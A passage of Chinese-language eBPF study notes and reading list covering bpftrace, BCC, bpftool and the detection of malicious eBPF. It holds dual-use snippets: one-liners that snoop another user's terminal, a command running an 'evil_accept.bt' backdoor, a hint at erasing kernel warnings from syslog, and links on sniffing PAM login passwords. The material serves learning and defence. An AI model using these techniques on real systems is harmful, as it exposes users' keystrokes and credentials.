标题: eBPF入门文献汇总 创建: 2022-12-05 16:08 更新: 2022-12-06 22:42 链接: https://scz.617.cn/unix/202212051608.txt -------------------------------------------------------------------------- 目录: ☆ eBPF 1) bpftrace 1.1) 查看安装版bpftrace版本 1.2) 自编译bpftrace 1.3) tracepoint:* 1.3.1) tracepoint:syscalls:* 1.3.2) tracepoint:raw_syscalls:* 1.4) kprobe:*/kretprobe:* 1.4.1) BTF 1.4.2) override (修改返回值) 1.4.2.1) Inside override 1.4.2.2) connect_block.bt 1.4.3) kprobe:some+off 1.5) uprobe:*/uretprobe:* 1.5.2) uprobe:some+off 1.5.3) uprobe:addr 1.5.4) int3 1.5.5) endbr64 1.6) kfunc:*/kretfunc:* 1.9) bpftrace自带.bt 2) BCC 2.1) bpfcc-tools自带.py 2.1.1) bcc tools (git版) 2.2) ttysnoop 3) BPF Performance Tools 4) unprivileged_bpf_disabled 5) Offensive BPF 5.5) 检测恶意eBPF 5.5.1) bpftool 5.5.2) crash 5.5.3) bpf_probe_write_user 5.6) 嗅探口令明文 6) Bad BPF 6.2) 示例 7) libbpf (eBPF loader) 7.1) arg0 type FWD is not a struct 7.2) connect_block.bpf.c 7.2.1) bpf_strncmp 7.3) pamsnoop.bpf.c 7.4) 基于eBPF的后门口令 7.4.2) _unix_verify_password 7.4.4) 用stap查看相关函数调用栈回溯 7.4.5) verify_pwd_hash 7.4.6) pamtamper.bpf.c 7.4.7) 用ftrace/uprobe_events嗅探明文口令 7.4.8) 基于pam_permit.so的后门 7.5) ttysnoop.bpf.c 8) libbpf-bootstrap 8.1) 编译 8.2) eBPF代码兼容性 9) 其他文献 10) eBPF入门小结 -------------------------------------------------------------------------- ☆ eBPF 2022.9.26之前,我对eBPF一无所知,历史上用于抓包的BPF不算。后来陆续看了很多 eBPF文献,算是入了门,写点入门心得。 eBPF最近几年发展迅速,许多新特性挑内核,有些过时的eBPF限制没必要与之较劲, 入门时完全可以在较新内核上学习,比较熟了再去生产环境考虑向后兼容性。我在 Ubuntu 22.04.1 LTS (Jammy Jellyfish)上测试eBPF,5.15.0-52-generic内核,这 个内核版本已经较高,即便如此,仍有一些eBPF新特性未被支持。 1) bpftrace 入门最好从bpftrace开始,遍历如下文献,不要挑着看,全都看一遍,没必要零敲碎 打地看其他的。 -------------------------------------------------------------------------- https://github.com/iovisor/bpftrace https://github.com/iovisor/bpftrace/tree/master/tools 自编译bpftrace https://github.com/iovisor/bpftrace/blob/master/INSTALL.md (有讲Disable Lockdown) The bpftrace One-Liner Tutorial https://github.com/iovisor/bpftrace/blob/master/docs/tutorial_one_liners.md bpftrace Reference Guide https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md bpftrace(8) Manual Page https://github.com/iovisor/bpftrace/blob/master/man/adoc/bpftrace.adoc bpftrace(8) https://manpages.ubuntu.com/manpages/focal/en/man8/bpftrace.bt.8.html bpftrace Cheat Sheet https://www.brendangregg.com/BPF/bpftrace-cheat-sheet.html -------------------------------------------------------------------------- 1.1) 查看安装版bpftrace版本 $ bpftrace --version bpftrace v0.14.0 $ bpftrace --info |& grep version version: v0.14.0 $ dpkg -l bpftrace | grep ^ii ii bpftrace 0.14.0-1 amd64 high-level tracing language for Linux eBPF $ apt-cache show bpftrace | grep Version Version: 0.14.0-1 1.2) 自编译bpftrace 遍历 -------------------------------------------------------------------------- https://github.com/iovisor/bpftrace/blob/master/INSTALL.md 《Ubuntu 22上自编译bpftrace》 https://scz.617.cn/unix/202210221758.txt -------------------------------------------------------------------------- 自编译的bpftrace支持"(k|u)probe:some+off" 1.3) tracepoint:* 遍历 bpftrace Reference Guide https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md bpftrace -l 'tracepoint:*' | less bpftrace -l 'tracepoint:*' | wc -l 1607个 还可用perf工具查看 perf list | grep Tracepoint | less perf list | grep Tracepoint | wc -l 1602个 1.3.1) tracepoint:syscalls:* bpftrace -l 'tracepoint:syscalls:*' | less bpftrace -l 'tracepoint:syscalls:*' | wc -l 686个 $ bpftrace -lv 'tracepoint:syscalls:sys_enter_openat' tracepoint:syscalls:sys_enter_openat int __syscall_nr int dfd const char * filename int flags umode_t mode bpftrace -e 'tracepoint:syscalls:sys_enter_openat /comm == str($1)/ {printf("%s (%d) -> %s\n",comm,pid,str(args->filename))}' \ cat cat (97060) -> /etc/ld.so.cache cat (97060) -> /lib/x86_64-linux-gnu/libc.so.6 cat (97060) -> /usr/lib/locale/locale-archive cat (97060) -> /etc/hosts 1.3.2) tracepoint:raw_syscalls:* $ bpftrace -lv 'tracepoint:raw_syscalls:*' tracepoint:raw_syscalls:sys_enter long id unsigned long args[6] tracepoint:raw_syscalls:sys_exit long id long ret 只有2个 $ grep "__NR_open" /usr/include/asm/unistd_64.h #define __NR_open 2 #define __NR_openat 257 #define __NR_open_by_handle_at 304 #define __NR_open_tree 428 #define __NR_openat2 437 bpftrace -e 'tracepoint:raw_syscalls:sys_enter /(args->id == 257 || args->id == 437) && comm == str($1)/ {printf("%s (%d) -> [%d] %s\n",comm,pid,args->id,str(uptr(args->args[1])))}' \ cat cat (97947) -> [257] /etc/ld.so.cache cat (97947) -> [257] /lib/x86_64-linux-gnu/libc.so.6 cat (97947) -> [257] /usr/lib/locale/locale-archive cat (97947) -> [257] /etc/hosts 1.4) kprobe:*/kretprobe:* bpftrace -l 'kprobe:*' | less bpftrace -l 'kprobe:*' | wc -l bpftrace -l 'kretprobe:*' | less bpftrace -l 'kretprobe:*' | wc -l 52464个,"kprobe:*"比"tracepoint:*"多多了。 与"tracepoint:*"不同,无法用"bpftrace -lv"查看"kprobe:*"的参数,但有其他办 法间接知道参数。可以查看相应的"kfunc:*",会自动利用BTF;可以借助stap快速查 看参数;或直接查看内核源码。 $ bpftrace -lv 'kfunc:do_sys_openat2' kfunc:do_sys_openat2 int dfd const char * filename struct open_how * how long int retval $ stap -L 'kernel.function("do_sys_openat2")' kernel.function("do_sys_openat2@/build/linux-kQ6jNR/linux-5.15.0/fs/open.c:1199") $dfd:int $filename:char const* $how:struct open_how* $op:struct open_flags "kprobe:do_sys_openat2"无法用dfd、filename、how,但可以用arg0、arg1、arg2 访问之。 bpftrace -e 'kprobe:do_sys_openat2 /comm == str($1)/ {printf("%s (%d) -> %s\n",comm,pid,str(uptr(arg1)))}' \ cat cat (97121) -> /etc/ld.so.cache cat (97121) -> /lib/x86_64-linux-gnu/libc.so.6 cat (97121) -> /usr/lib/locale/locale-archive cat (97121) -> /etc/hosts 单行内容较长时,可以指定较大的BPFTRACE_STRLEN BPFTRACE_STRLEN=200 \ bpftrace -e 'kprobe:do_sys_openat2 {printf("%s (%d) -> %s\n",comm,pid,str(uptr(arg1)))}' 1.4.1) BTF $ grep _BTF /boot/config-$(uname -r) CONFIG_VIDEO_SONY_BTF_MPX=m CONFIG_DEBUG_INFO_BTF=y CONFIG_PAHOLE_HAS_SPLIT_BTF=y CONFIG_DEBUG_INFO_BTF_MODULES=y 若有BTF可用,bpftrace可以查看"kfunc:vfs_open"、"struct path" $ bpftrace -lv 'kfunc:vfs_open' kfunc:vfs_open const struct path * path struct file * file int retval $ bpftrace -lv "struct path" struct path { struct vfsmount *mnt; struct dentry *dentry; }; 1.4.2) override (修改返回值) $ grep -E '(CONFIG_BPF_KPROBE_OVERRIDE|CONFIG_FUNCTION_ERROR_INJECTION)=' /boot/config-$(uname -r) CONFIG_BPF_KPROBE_OVERRIDE=y CONFIG_FUNCTION_ERROR_INJECTION=y 与stap不同,无法用bpftrace修改devmem_is_allowed返回值,按官方文档说法 This feature only works on functions tagged ALLOW_ERROR_INJECTION. 1.4.2.1) Inside override 参看 bpf-helpers(7) https://man7.org/linux/man-pages/man7/bpf-helpers.7.html 底层有个bpf_override_return,可以这样用 -------------------------------------------------------------------------- int kprobe__should_failslab ( void *ctx ) { bpf_override_return( ctx, -ENOMEM ); return 0; } -------------------------------------------------------------------------- 对于"kprobe:func",bpf_override_return使得整个函数体被跳过,立即返回指定值。 只能用于kprobe,不能用于kretprobe、kfunc、uprobe。 位于某个白名单中的"kprobe:func"才能调用bpf_override_return,若不在白名单中, 调用bpf_override_return时会报错 ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument bpftrace的override()是对bpf_override_return的封装。前述白名单对应全局变量 error_injection_list $ grep error_injection_list /proc/kallsyms ffffffffa0075b70 t populate_error_injection_list ffffffffa0075e00 T within_error_injection_list ffffffffa0731dd2 t populate_error_injection_list.cold ffffffffa1ac0c20 d error_injection_list 可用crash遍历error_injection_list,显示位于白名单范围的内核函数名。 1.4.2.2) connect_block.bt 练习题,拦截connect系统调用,对pid、comm、ip、mask、port进行过滤,调用 override(),达到黑白名单效果,简易应用防火墙。 1.4.3) kprobe:some+off 需要自编译bpftrace,使得"bpftrace --info"看到"bfd: yes",才能支持 "(k|u)probe:some+off","bfd: no"不支持。 $ /home/scz/src/bpftrace_scz/build/src/bpftrace --version bpftrace v0.16.0-32-gcf34 $ gdb -q -nx --batch -ex 'x/10i do_sys_openat2' /usr/lib/debug/boot/vmlinux-$(uname -r) 0xffffffff81389920 : call 0xffffffff8108b0a0 <__fentry__> 0xffffffff81389925 : push %rbp 0xffffffff81389926 : mov %rsp,%rbp 0xffffffff81389929 : push %r14 0xffffffff8138992b : mov %rsi,%r14 0xffffffff8138992e : push %r13 0xffffffff81389930 : lea -0x34(%rbp),%rsi 0xffffffff81389934 : mov %edi,%r13d 0xffffffff81389937 : mov %rdx,%rdi 0xffffffff8138993a : push %r12 /home/scz/src/bpftrace_scz/build/src/bpftrace \ -e 'kprobe:do_sys_openat2+26 /comm == str($1)/ {printf("%s (%d) -> %s\n",comm,pid,str(uptr(reg("r14"))))}' \ cat cat (34438) -> /etc/ld.so.cache cat (34438) -> /lib/x86_64-linux-gnu/libc.so.6 cat (34438) -> /usr/lib/locale/locale-archive cat (34438) -> /etc/hosts 1.5) uprobe:*/uretprobe:* bpftrace -l 'uprobe:/usr/bin/bash:*' | less bpftrace -l 'uprobe:/usr/bin/bash:*' | wc -l bpftrace -l 'uretprobe:/lib/x86_64-linux-gnu/libc.so.6:*' | less bpftrace -l 'uretprobe:/lib/x86_64-linux-gnu/libc.so.6:*' | wc -l BPFTRACE_STRLEN=200 bpftrace -e 'uprobe:libc:fopen {printf("%s (%d) -> %s\n",comm,pid,str(arg0))}' systemd-oomd (578) -> /proc/meminfo systemd-oomd (578) -> /sys/fs/cgroup/user.slice/user-0.slice/user@0.service/memory.pressure systemd-oomd (578) -> /sys/fs/cgroup/user.slice/user-0.slice/user@0.service/memory.current bpftrace -e 'uretprobe:/usr/bin/bash:readline {printf("%s (%d) -> [%s]\n",comm,pid,str(retval))}' bash (40203) -> [cat /etc/hosts] bpftrace的"uretprobe:*"底层用ftrace的uprobe_events。uretprobe安装的Hook位 于call之后,而不是readline的ret指令所在,这使得uretprobe的reg("ip")不固定。 1.5.2) uprobe:some+off $ gdb -q -nx --batch -ex 'x/10i __libc_open64' /lib/x86_64-linux-gnu/libc.so.6 0x114690 <__libc_open64>: endbr64 0x114694 <__libc_open64+4>: push %r12 0x114696 <__libc_open64+6>: mov %esi,%r10d 0x114699 <__libc_open64+9>: mov %esi,%r12d 0x11469c <__libc_open64+12>: push %rbp 0x11469d <__libc_open64+13>: mov %rdi,%rbp 0x1146a0 <__libc_open64+16>: sub $0x68,%rsp 0x1146a4 <__libc_open64+20>: mov %rdx,0x40(%rsp) 0x1146a9 <__libc_open64+25>: mov %fs:0x28,%rax 0x1146b2 <__libc_open64+34>: mov %rax,0x28(%rsp) /home/scz/src/bpftrace_scz/build/src/bpftrace \ -e 'uprobe:libc:__libc_open64+34 /comm == str($1)/ {printf("%s (%d) -> %s\n",comm,pid,str(uptr(reg("bp"))));print(ustack(perf))}' \ cat cat (100905) -> /etc/hosts 7eff0a08c6b2 0x7eff0a08c6b2 ([unknown]) 4c4c454853007374 0x4c4c454853007374 ([unknown]) ustack实在太弱鸡,毫无用处。 1.5.3) uprobe:addr gdb -q -nx --batch \ -ex "set disassembly-flavor intel" \ -ex 'disassemble /r __open' \ /lib/x86_64-linux-gnu/libc.so.6 gdb -q -nx --batch \ -ex "set disassembly-flavor intel" \ -ex 'disassemble /r __open,+39' \ /lib/x86_64-linux-gnu/libc.so.6 0x0000000000114690 <+0>: f3 0f 1e fa endbr64 0x0000000000114694 <+4>: 41 54 push r12 0x0000000000114696 <+6>: 41 89 f2 mov r10d,esi 0x0000000000114699 <+9>: 41 89 f4 mov r12d,esi 0x000000000011469c <+12>: 55 push rbp 0x000000000011469d <+13>: 48 89 fd mov rbp,rdi 0x00000000001146a0 <+16>: 48 83 ec 68 sub rsp,0x68 0x00000000001146a4 <+20>: 48 89 54 24 40 mov QWORD PTR [rsp+0x40],rdx 0x00000000001146a9 <+25>: 64 48 8b 04 25 28 00 00 00 mov rax,QWORD PTR fs:0x28 0x00000000001146b2 <+34>: 48 89 44 24 28 mov QWORD PTR [rsp+0x28],rax "uprobe:addr"中"addr"就是0x1146b2这类地址,也即IDA中Rebase之前看到的地址。 bpftrace自动处理ASLR,千万不要自作聪明手工处理ASLR。 正常使用"uprobe:addr"时,无需指定"--unsafe",除非addr不在正常指令边界上。 可以用"uretprobe:addr",只要在addr处能取得栈上的RetAddr,最终Hook RetAddr, 而非Hook ret指令所在。 1.5.4) int3 uprobe、uretprobe在指定位置实际写入int3(0xcc) bpftrace -e 'uretprobe:/usr/bin/bash:readline {printf("%s (%d) -> [%s]\n",comm,pid,str(retval))}' bash (28400) -> [cat /etc/hosts] gdb -q -nx -x ./gdbinit_x64.txt -x ./gdbhelper.py \ --batch -ex 'disassemble /r readline,+4' \ -ex 'xxd readline 0x10' -p 28400 0x000055839f430690 : cc int3 0x000055839f430691 : 0f 1e fa nop edx 55839f430690: cc 0f 1e fa 41 54 53 48 83 ec 08 48 8d 05 16 81 ....ATSH...H.... 从kernel 3.3开始,无需PTRACE_ATTACH即可读取/proc/[pid]/mem,于是dd、xxd等 工具可直接转储、查看目标进程空间。 $ xxd -s $[0x55839f430690] -l 16 -g 1 /proc/28400/mem 55839f430690: cc 0f 1e fa 41 54 53 48 83 ec 08 48 8d 05 16 81 ....ATSH...H.... bpftrace运行时,readline函数首字节被替换成0xcc,即int3,原本此处是endbr64。 $ objdump -j .text --disassemble=readline /usr/bin/bash | less ... 00000000000d5690 : d5690: f3 0f 1e fa endbr64 d5694: 41 54 push %r12 d5696: 53 push %rbx ... 1.5.5) endbr64 参看 -------------------------------------------------------------------------- What does the endbr64 instruction actually do - [2019-07-05] https://stackoverflow.com/questions/56905811/what-does-the-endbr64-instruction-actually-do 《endbr64指令用途》 https://scz.617.cn/misc/202109171549.txt -------------------------------------------------------------------------- 1.6) kfunc:*/kretfunc:* $ bpftrace --info 2>&1 | grep kfunc bpf_attach_kfunc: yes kfunc: yes bpftrace -l 'kfunc:*' | less bpftrace -l 'kfunc:*' | wc -l bpftrace -l 'kretfunc:*' | less bpftrace -l 'kretfunc:*' | wc -l 44646个。与kprobe、kretprobe不同,kfunc、kretfunc自动使用BTF。 $ bpftrace -lv 'kfunc:do_sys_openat2' kfunc:do_sys_openat2 int dfd const char * filename struct open_how * how long int retval bpftrace -e 'kfunc:do_sys_openat2 /comm == str($1)/ {printf("%s (%d) -> %s\n",comm,pid,str(uptr(args->filename)))}' \ cat cat (98003) -> /etc/ld.so.cache cat (98003) -> /lib/x86_64-linux-gnu/libc.so.6 cat (98003) -> /usr/lib/locale/locale-archive cat (98003) -> /etc/hosts 1.9) bpftrace自带.bt dpkg -L bpftrace | grep .bt$ 这些比较有意思 /usr/sbin/bashreadline.bt /usr/sbin/execsnoop.bt /usr/sbin/killsnoop.bt /usr/sbin/opensnoop.bt /usr/sbin/setuids.bt 2) BCC bpftrace简捷明了,但对bpf-helpers(7)的封装不完整,没有bpf_probe_write_user。 BCC Python Bindings相比bpftrace,能实现更多功能,遍历如下文献。BCC编程细节 不在此介绍,看完下面这堆自然就会。 -------------------------------------------------------------------------- BPF Compiler Collection (BCC) https://github.com/iovisor/bcc https://github.com/iovisor/bcc/tree/master/tools (aptitude install bpfcc-tools) (git版本更新、更强大) bcc Tutorial https://github.com/iovisor/bcc/blob/master/docs/tutorial.md bcc Reference Guide https://github.com/iovisor/bcc/blob/master/docs/reference_guide.md bcc Python Developer Tutorial https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md bpf-helpers(7) https://man7.org/linux/man-pages/man7/bpf-helpers.7.html Learn eBPF Tracing: Tutorial and Examples - Brendan Gregg [2019-01-01] https://www.brendangregg.com/blog/2019-01-01/learn-ebpf-tracing.html -------------------------------------------------------------------------- 2.1) bpfcc-tools自带.py dpkg -L bpfcc-tools | grep .py$ | less dpkg -L bpfcc-tools | grep -- '-bpfcc$' | less 这些比较有意思 /usr/share/doc/bpfcc-tools/examples/tracing/stacksnoop.py /usr/sbin/bashreadline-bpfcc /usr/sbin/bindsnoop-bpfcc /usr/sbin/bpflist-bpfcc /usr/sbin/execsnoop-bpfcc /usr/sbin/exitsnoop-bpfcc /usr/sbin/inject-bpfcc /usr/sbin/killsnoop-bpfcc /usr/sbin/sslsniff-bpfcc /usr/sbin/tplist-bpfcc /usr/sbin/trace-bpfcc /usr/sbin/ttysnoop-bpfcc 比如 python3 /usr/share/doc/bpfcc-tools/examples/tracing/stacksnoop.py \ -s -v do_sys_openat2 2.1.1) bcc tools (git版) 相比"aptitude install bpfcc-tools",git版本更新、更强大 https://github.com/iovisor/bcc/tree/master/tools https://github.com/iovisor/bcc/blob/master/tools/inject.py https://github.com/iovisor/bcc/blob/master/tools/inject_example.txt https://github.com/iovisor/bcc/blob/master/tools/trace.py https://github.com/iovisor/bcc/blob/master/tools/trace_example.txt https://github.com/iovisor/bcc/blob/master/tools/sslsniff.py https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt 有bpftrace的情况下trace.py无特别优势,并不推荐 2.2) ttysnoop Ubuntu 22上tty_write的函数原型已经变成 static ssize_t tty_write(struct kiocb *iocb, struct iov_iter *from) 寻找引入上述函数原型的commit cd /mnt/z/work/linux git log -S "static ssize_t tty_write(struct kiocb *iocb, struct iov_iter *from)" commit 9bb48c82aced07698a2d08ee0f1475a6c4f6b266 Author: Linus Torvalds Date: Tue Jan 19 11:41:16 2021 -0800 tty: implement write_iter This makes the tty layer use the .write_iter() function instead of the traditional .write() functionality. 查看指定commit https://github.com/torvalds/linux/commit/9bb48c82aced 在这个页面上直接看到最早引入指定commit的内核版本,本例是v5.11-rc5。从前述 commit看到之前的函数原型 static ssize_t tty_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos) 某些ttysnoop针对旧版函数原型编写,比如ttysnoop-bpfcc,已不适用于新版内核, 对此有多种修改方案。 新版tty_write最终会调用n_tty_write,后者函数原型如下 static ssize_t n_tty_write(struct tty_struct *tty, struct file *file, const unsigned char *buf, size_t nr) 据此实现最简ttysnoop,下例实际监听/dev/pts/3 BPFTRACE_STRLEN=200 \ bpftrace -e 'kfunc:n_tty_write /args->tty->name == str($1)/ {printf("%s",str(args->buf,args->nr))}' \ pts3 假设6是/dev/pts/3的inode号,下例同样可以进行ttysnoop BPFTRACE_STRLEN=200 \ bpftrace -e 'kfunc:tty_write /args->iocb->ki_filp->f_inode->i_ino == $1/ {printf("%s",str(uptr(args->from->iov->iov_base),args->from->iov->iov_len))}' \ 6 参看 https://github.com/iovisor/bcc/blob/master/tools/ttysnoop.py Brendan Gregg在此提供了兼容性更好的ttysnoop实现,可用于Ubuntu 22。 3) BPF Performance Tools 参看 BPF Performance Tools https://github.com/brendangregg/bpf-perf-tools-book 这是《BPF Performance Tools: Linux and Application Observability》的配套工 具集。 cd /home/scz/src/ git clone https://github.com/brendangregg/bpf-perf-tools-book.git -------------------------------------------------------------------------- cd /home/scz/src/bpf-perf-tools-book/originals/Ch06_CPUs/ bpftrace execsnoop.bt // tracepoint:syscalls:sys_enter_execve -------------------------------------------------------------------------- cd /home/scz/src/bpf-perf-tools-book/originals/Ch08_FileSystems/ BPFTRACE_STRLEN=200 bpftrace opensnoop.bt // tracepoint:syscalls:sys_exit_openat BPFTRACE_STRLEN=200 bpftrace statsnoop.bt // tracepoint:syscalls:sys_exit_newlstat -------------------------------------------------------------------------- cd /home/scz/src/bpf-perf-tools-book/originals/Ch10_Networking/ bpftrace soaccept.bt // 取源IP、源PORT // tracepoint:syscalls:sys_exit_accept bpftrace tcpaccept-tp.bt // 同时取四元组 // tracepoint:sock:inet_sock_set_state bpftrace tcpaccept.bt // 同时取四元组 // kretprobe:inet_csk_accept bpftrace soconnect.bt // 取目标IP、目标PORT // tracepoint:syscalls:sys_exit_connect bpftrace tcpconnect-tp.bt // 取SADDR、DADDR、DPORT // tracepoint:sock:inet_sock_set_state // 有时不如soconnect.bt bpftrace udpconnect.bt // 取目标IP、目标PORT // kprobe:ip4_datagram_connect -------------------------------------------------------------------------- cd /home/scz/src/bpf-perf-tools-book/originals/Ch11_Security/ bpftrace bashreadline.bt // uretprobe:/bin/bash:readline bpftrace elfsnoop.bt // kretprobe:load_elf_binary bpftrace modsnoop.bt // kprobe:do_init_module // 可以看到stap加载模块 bpftrace setuids.bt // tracepoint:syscalls:sys_exit_setresuid bpftrace shellsnoop.bt 40203 // tracepoint:syscalls:sys_enter_write // 效果不错 python3 shellsnoop.py 40203 // from bcc import BPF // 输出不直观 bpftrace tcpreset.bt // kprobe:tcp_v4_send_reset -------------------------------------------------------------------------- cd /home/scz/src/bpf-perf-tools-book/originals/Ch13_Applications/ bpftrace killsnoop.bt // tracepoint:syscalls:sys_exit_kill -------------------------------------------------------------------------- 4) unprivileged_bpf_disabled 参看 https://www.kernel.org/doc/html/latest/admin-guide/sysctl/kernel.html cat /proc/sys/kernel/unprivileged_bpf_disabled 0 Unprivileged calls to bpf() are enabled 1 Unprivileged calls to bpf() are disabled without recovery 2 Unprivileged calls to bpf() are disabled Ubuntu 22中该值缺省为2,这样修改 sysctl -qnw kernel.unprivileged_bpf_disabled=0 echo 0 > /proc/sys/kernel/unprivileged_bpf_disabled 5) Offensive BPF 遍历这个系列 -------------------------------------------------------------------------- Offensive BPF https://embracethered.com/blog/tags/ebpf/ https://embracethered.com/blog/posts/2021/offensive-bpf/ https://github.com/wunderwuzzi23/Offensive-BPF/ Offensive BPF: Malicious bpftrace - wunderwuzzi [2021-10-05] https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/ Offensive BPF: Using bpftrace to host backdoors - wunderwuzzi [2021-10-06] https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace-message-based/ Offensive BPF: Detection Ideas - wunderwuzzi [2021-10-07] https://embracethered.com/blog/posts/2021/offensive-bpf-detections-initial-ideas/ Offensive BPF: What's in the bpfcc-tools box - wunderwuzzi [2021-10-09] https://embracethered.com/blog/posts/2021/offensive-bpf-handy-tools/ Offensive BPF: Sniffing Firefox traffic with bpftrace - wunderwuzzi [2021-10-14] https://embracethered.com/blog/posts/2021/offensive-bpf-sniffing-traffic-bpftrace/ Offensive BPF: Understanding and using bpf_probe_write_user - wunderwuzzi [2021-10-20] https://embracethered.com/blog/posts/2021/offensive-bpf-libbpf-bpf_probe_write_user/ (纯C调用bpf_probe_write_user,非BCC Python Bindings,libbfp编程) Offensive BPF: Using bpftrace to sniff PAM logon passwords - wunderwuzzi [2022-07-10] https://embracethered.com/blog/posts/2022/offensive-bpf-bpftrace-sniff-logon-pam-passwords/ https://github.com/wunderwuzzi23/Offensive-BPF/blob/main/bpftrace/pamsnoop.bt https://github.com/linux-pam/linux-pam/blob/master/libpam/pam_private.h https://man7.org/linux/man-pages/man3/pam_get_authtok.3.html -------------------------------------------------------------------------- 5.5) 检测恶意eBPF 假设正在执行 /home/scz/src/bpftrace_scz/build/src/bpftrace --unsafe evil_accept.bt 192.168.65.1 54321 bpftool prog | grep tracepoint -A 3 /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog | grep tracepoint -A 3 /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool --pretty prog show id bpftool prog dump xlated id bpftool prog dump xlated id opcodes /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id opcodes bpflist-bpfcc -vv ps auwx | grep unsafe 5.5.1) bpftool 参看bpftool(8)、bpftool-prog(8)、bpftool-btf(8) 安装版bpftool功能可能有缺失,需要自编译bpftool cd /home/scz/src/kernel tar xfj linux-5.15.0-52.58.tar.bz2 chmod +x /home/scz/src/kernel/linux-5.15.0-52.58/scripts/pahole-flags.sh cd /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool make $ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool version -p { "version": "5.15.60", "features": { "libbfd": true, "skeletons": true } } 对比Ubuntu 22中安装版bpftool $ bpftool version -p { "version": "5.15.60", "features": { "libbfd": false, "skeletons": false } } 假设正在执行 /home/scz/src/bpftrace_scz/build/src/bpftrace --unsafe evil_accept.bt 192.168.65.1 54321 用如下命令查看evil_accept.bt安装的tracepoint $ bpftool prog | grep tracepoint -A 3 ... 495: tracepoint name sys_exit_accept tag 088a6e384aea6d85 gpl loaded_at 2022-11-12T21:17:34+0800 uid 0 xlated 1696B jited 1061B memlock 4096B map_ids 478,479 自编译bpftool可以获取PID信息 $ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog | grep bpftrace -B 3 ... 495: tracepoint name sys_exit_accept tag 088a6e384aea6d85 gpl loaded_at 2022-11-12T21:17:34+0800 uid 0 xlated 1696B jited 1061B memlock 4096B map_ids 478,479 pids bpftrace(62009) $ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool --pretty prog show id 495 { "id": 495, "type": "tracepoint", "name": "sys_exit_accept", "tag": "088a6e384aea6d85", "gpl_compatible": true, "loaded_at": 1668259054, "uid": 0, "bytes_xlated": 1696, "jited": true, "bytes_jited": 1061, "bytes_memlock": 4096, "map_ids": [478,479 ], "pids": [{ "pid": 62009, "comm": "bpftrace" } ] } 显示指定id的BPF指令 $ bpftool prog dump xlated id 495 0: (bf) r6 = r1 1: (85) call bpf_get_current_pid_tgid#162864 2: (67) r0 <<= 32 3: (77) r0 >>= 32 ... 209: (85) call htab_map_delete_elem#184720 210: (b7) r0 = 1 211: (95) exit 显示指定id每条BPF指令的完整字节码 $ bpftool prog dump xlated id 495 opcodes ... 209: (85) call htab_map_delete_elem#184720 85 00 00 00 90 d1 02 00 210: (b7) r0 = 1 b7 00 00 00 01 00 00 00 211: (95) exit 95 00 00 00 00 00 00 00 显示提定id的JIT汇编指令 $ bpftool prog dump jited id 495 Error: No libbfd support 报错表明Ubuntu 22中安装版bpftool不支持libbfd,搜到一句话 We don't and can't link with libbfd because of licence incompatibility. 需要自编译bpftool $ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id 495 bpf_prog_088a6e384aea6d85_sys_exit_accept: 0: nopl 0x0(%rax,%rax,1) 5: xchg %ax,%ax 7: push %rbp ... 416: call 0xffffffffcde80958 41b: mov $0x1,%eax 420: jmp 0x000000000000005c 显示指定id每条汇编指令的完整机器码 $ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id 495 opcodes ... 416: call 0xffffffffcde80958 e8 3d 05 e8 cd 41b: mov $0x1,%eax b8 01 00 00 00 420: jmp 0x000000000000005c e9 37 fc ff ff 从BTF中析取C语言格式的类型定义 bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h 5.5.2) crash crash也可查看eBPF信息 crash -e emacs /usr/lib/debug/boot/vmlinux-$(uname -r) /proc/kcore crash> bpf | grep TRACEPOINT 772 ffffabca006f1000 ffff96a06fa52c00 TRACEPOINT 9338d6ba6d4d0ad9 569 773 ffffabca00075000 ffff96a06fa51000 TRACEPOINT 9338d6ba6d4d0ad9 569 774 ffffabca0007d000 ffff96a06fa50400 TRACEPOINT 088a6e384aea6d85 569,570 775 ffffabca000b3000 ffff96a06fa51400 TRACEPOINT 088a6e384aea6d85 569,570 -t查看bytecode,-j查看jit结果,但不知用crash如何找出PID crash> bpf -p 774 -tj ID BPF_PROG BPF_PROG_AUX BPF_PROG_TYPE TAG USED_MAPS 774 ffffabca0007d000 ffff96a06fa50400 TRACEPOINT 088a6e384aea6d85 569,570 XLATED: 1696 JITED: 1061 MEMLOCK: 4096 LOAD_TIME: Tue Nov 01 14:40:48 2022 GPL_COMPATIBLE: yes NAME: "sys_exit_accept" UID: 0 0xffffffffc03a7aa0: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc03a7aa5: xchg ax,ax ... 0xffffffffc03a7ec0: jmp 0xffffffffc03a7afc 0: (bf) r6 = r1 1: (85) call bpf_get_current_pid_tgid#162864 ... 209: (85) call htab_map_delete_elem#184720 210: (b7) r0 = 1 211: (95) exit 5.5.3) bpf_probe_write_user bpf_probe_write_user比较敏感,调用它时会额外产生日志 $ grep bpf_probe_write_user /var/log/syslog | less Nov 10 16:13:29 Ubuntu-22 kernel: [325428.979060] python3[43143] is installing a program with bpf_probe_write_user helper that may corrupt user memory! $ dmesg | grep bpf_probe_write_user | less [325428.979060] python3[43143] is installing a program with bpf_probe_write_user helper that may corrupt user memory! 理论上可以拦截syslog(2)消掉这些日志,未实践。 5.6) 嗅探口令明文 通过pam_get_authtok第三形参authtok可获取SSH登录和su输入的明文口令,参看 https://github.com/wunderwuzzi23/Offensive-BPF/blob/main/bpftrace/pamsnoop.bt 6) Bad BPF 遍历 -------------------------------------------------------------------------- Detecting 